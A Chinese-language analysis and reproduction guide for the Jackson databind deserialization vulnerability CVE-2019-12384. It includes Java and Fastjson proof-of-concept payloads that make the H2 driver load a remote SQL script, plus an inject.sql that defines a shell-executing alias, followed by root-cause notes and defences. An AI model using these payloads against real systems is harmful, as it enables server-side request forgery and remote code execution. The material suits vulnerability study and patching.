CVE-2019-12384漏洞分析及复现
字数 810 2025-08-18 11:38:49
CVE-2019-12384漏洞分析与复现指南
漏洞概述
CVE-2019-12384是Jackson反序列化漏洞,影响Jackson databind组件。该漏洞允许攻击者通过精心构造的JSON数据实现远程代码执行(RCE)或服务器端请求伪造(SSRF)。
环境准备
依赖组件
- Jackson databind: 2.9.8版本
- logback-core: 1.3.0-alpha4版本
- h2数据库: 1.4.199版本
Maven依赖配置
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.8</version>
</dependency>
<dependency>
<groupId>ch.qos.logback</groupId>
<artifactId>logback-core</artifactId>
<version>1.3.0-alpha4</version>
</dependency>
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>1.4.199</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>1.4.199</version>
<scope>compile</scope>
</dependency>
漏洞复现
Java实现代码
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;
import org.h2.Driver;
public class JackonSerial {
public static void main(String[] args) throws Exception {
// 必须实例化Driver否则会报错
Class.forName("org.h2.Driver").newInstance();
System.out.println("Mapping");
// SSRF复现payload
String jsonStr1 = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:tcp://127.0.0.1:8005/~/test\"}]";
// RCE复现payload
String jsonStr2 = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost/inject.sql'\"}]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
System.out.println("Serializing");
Object obj = mapper.readValue(jsonStr1, java.lang.Object.class);
System.out.println("objectified");
System.out.println("stringified: " + mapper.writeValueAsString(obj));
}
}
SQL注入文件(inject.sql)
CREATE ALIAS SHELLEXEC AS
$$
String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
}
$$
;
CALL SHELLEXEC('open /Applications/Calculator.app/')
漏洞分析
SSRF漏洞原理
Jackson在序列化时会循环调用序列化对象所属类的每一个get方法。当调用getConnection()方法时,会进一步调用DriverManager从而连接远程数据库,导致SSRF。
关键代码:
public Connection getConnection() throws SQLException {
return this.getUser() == null ?
DriverManager.getConnection(this.url) :
DriverManager.getConnection(this.url, this.getUser(), this.getPassword());
}
RCE漏洞原理
利用H2数据库的内存操作特性:
jdbc:h2:mem:用于操作内存表RUNSCRIPT FROM 'http://localhost/inject.sql'执行远程SQL文件- SQL文件中定义Java函数并通过
CALL调用,实现代码执行
Fastjson中的类似利用
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;
public class FastJsonTest {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"ch.qos.logback.core.db.DriverManagerConnectionSource\",\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost/inject.sql'\"}";
JSONObject json = JSON.parseObject(payload);
json.toJSONString();
}
}
漏洞利用限制
- 依赖问题:需要同时依赖logback-core和h2两个jar包
- 触发条件:漏洞是在序列化恶意对象时触发的,而Jackson在Web应用中主要用于反序列化前端传入的JSON数据
防御措施
- 升级Jackson databind到安全版本
- 禁用Jackson的default typing功能
- 实施严格的反序列化白名单控制
- 避免在生产环境中使用不必要的数据库驱动
总结
CVE-2019-12384展示了反序列化漏洞的潜在危害,虽然利用条件较为苛刻,但一旦满足条件可导致严重的RCE或SSRF漏洞。开发人员应重视反序列化操作的安全性,采取适当的防护措施。